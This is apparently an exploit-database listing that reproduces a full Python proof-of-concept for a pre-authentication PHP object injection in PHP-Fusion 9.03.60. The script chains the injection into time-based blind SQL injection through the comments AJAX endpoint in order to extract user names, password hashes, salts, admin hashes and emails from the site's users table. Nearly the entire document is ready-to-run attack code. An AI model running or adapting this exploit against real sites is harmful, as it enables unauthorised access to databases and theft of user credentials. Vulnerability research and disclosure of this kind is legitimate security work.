Phpfusion 9.03.60 php object injection Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2020-07-01 | Type : webapps | Platform : php

---

[+] Code ...

# Exploit Title: PHP-Fusion 9.03.60 - PHP Object Injection
# Date: 2020-05-26
# Exploit Author: coiffeur
# Vendor Homepage: https://www.php-fusion.co.uk/home.php
# Software Link: https://www.php-fusion.co.uk/php_fusion_9_downloads.php
# Version: v9.03.60

# Description:
# PHP Object Injection to SQL injection (pre-auth)


import sys

import requests

import subprocess

GENERATOR_NAME = "gen.php"
GENERATOR_CONTENT = """<?php
if (count($argv) < 2) {
echo 'Usage: php gen.php "<PAYLOAD>"';
die;
}

$ar["comment_item_id"] = "1";
$ar["comment_item_type"] = $argv[1];

$payload = urlencode(base64_encode(serialize($ar)));
echo $payload;
?>
"""


DEBUG = 1
DELTA = None
TRESHOLD = 0.60
LIKE = "f%admin"
COLUMNS = ["user_id", "user_name", "user_algo", "user_salt", "user_password",
"user_admin_algo", "user_admin_salt", "user_admin_password", "user_email"]


def usage():
banner = """NAME: PHPFusion v9.03.50, PHP Object Injection to SQL injection
SYNOPSIS: python poi_to_sqli_9.03.50.py <URL>
DESCRIPTION:
Dump the content of the table named fusionX...X_users
AUTHOR: coiffeur
"""
print(banner)


def generator(action):
if action == "w":
with open(GENERATOR_NAME, "w") as f:
f.write(GENERATOR_CONTENT)
if action == "r":
_ = subprocess.Popen(["rm", GENERATOR_NAME], stdout=subprocess.PIPE)


def generate_payload(text):
p = subprocess.Popen(["php", GENERATOR_NAME, text], stdout=subprocess.PIPE)
out, _ = p.communicate()
return out


def check(payload):
datas = {"comment_options": generate_payload(payload)}
r = requests.post(
url=f"{sys.argv[1]}/includes/classes/PHPFusion/Feedback/Comments.ajax.php", data=datas)
return r.elapsed.total_seconds()


def evaluate_delay():
global DELTA
deltas = []
payload = "' UNION SELECT SLEEP(2)-- - '"
for _ in range(3):
deltas.append(check(payload))
DELTA = sum(deltas)/len(deltas)


def get_tbl_name_len():
i = 0
while 1:
payload = f"' UNION SELECT (CASE WHEN (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name LIKE '{LIKE}' )<{i} THEN SLEEP(2) ELSE 0 END) -- - '"
if check(payload) >= DELTA*TRESHOLD:
return i-1
if i > 100:
print(f"[x] Exploit failed")
exit(-1)
i += 1


def get_tbl_name(length):
tbl_name = ""
for i in range(1, length+1):
min, max = 0, 127-1
while min < max:
mid = (max + min) // 2
payload = f"' UNION SELECT (CASE WHEN (SELECT ASCII(SUBSTR(table_name,{i},1)) FROM information_schema.tables WHERE table_name LIKE '{LIKE}' )<={mid} THEN SLEEP(2) ELSE 0 END) -- - '"
if check(payload) >= DELTA*TRESHOLD:
max = mid
else:
min = mid + 1
tbl_name += chr(min)
if DEBUG:
print(f"[DEBUG] Table name: {tbl_name}")
return tbl_name


def get_rows_number(tbl_name):
i = 0
while 1:
payload = f"' UNION SELECT (CASE WHEN (SELECT COUNT(user_name) FROM {tbl_name})>{i} THEN 0 ELSE SLEEP(2) END) -- - '"
if check(payload) >= DELTA*TRESHOLD:
return i
i += 1


def get_elt_len(tbl_name, column_name, offset):
i = 0
while 1:
payload = f"' UNION SELECT (CASE WHEN (SELECT LENGTH({column_name}) FROM {tbl_name} LIMIT 1 OFFSET {offset})<{i} THEN SLEEP(2) ELSE 0 END) -- - '"
if check(payload) >= DELTA*TRESHOLD:
if DEBUG:
print(
f"[DEBUG] Element {offset} in {column_name} from {tbl_name} length: {i-1}")
return i-1
i += 1


def get_elt(tbl_name, column_name, offset, length):
elt = ""
for i in range(1, length+1):
min, max = 0, 127-1
while min < max:
mid = (max + min) // 2
payload = f"' UNION SELECT (CASE WHEN (SELECT ASCII(SUBSTR({column_name},{i},1)) FROM {tbl_name} LIMIT 1 OFFSET {offset} )<={mid} THEN SLEEP(2) ELSE 0 END) -- - '"
if check(payload) >= DELTA*TRESHOLD:
max = mid
else:
min = mid + 1
elt += chr(min)
if DEBUG:
print(
f"[DEBUG] Element {offset} in {column_name} from {tbl_name}: {elt}")
print(f"[*] Element {offset} in {column_name} from {tbl_name}: {elt}")
return elt


def get_rows(tbl_name, row_number):
print(f"[*] Trying to dump {tbl_name}")
rows = []
for offset in range(row_number):
row = []
for column_name in COLUMNS:
elt_length = get_elt_len(tbl_name, column_name, offset)
row.append(get_elt(tbl_name, column_name, offset, elt_length))
print(f"[*] Row {offset}: {row}")
rows.append(row)
print(f"[*] Rows: {rows}")


def main():
if len(sys.argv) < 2:
print(usage())
exit(-1)

if DEBUG:
print(f"[*] Target: {sys.argv[1]}")

if DEBUG:
print(f"[DEBUG] Writting generator to {GENERATOR_NAME}")
generator("w")

evaluate_delay()
if DEBUG:
print(f"[*] Delta: {DELTA}")

tbl_name_len = get_tbl_name_len()
if DEBUG:
print(
f"[DEBUG] Looking for table like {LIKE} with length {tbl_name_len}")

tbl_name = get_tbl_name(tbl_name_len)
print(f" Table name: {tbl_name}")

prefix = f"{tbl_name.split('_')[0]}_"
print(f"[*] Prefix: {prefix}")

user_table_name = f"{prefix}users"

number_of_rows = get_rows_number(user_table_name)
if DEBUG:
print(f"[*] {user_table_name} got {number_of_rows} rows")

get_rows(user_table_name, number_of_rows)

if DEBUG:
print(f"[DEBUG] Removing {GENERATOR_NAME}")
generator("r")


if __name__ == "__main__":
main()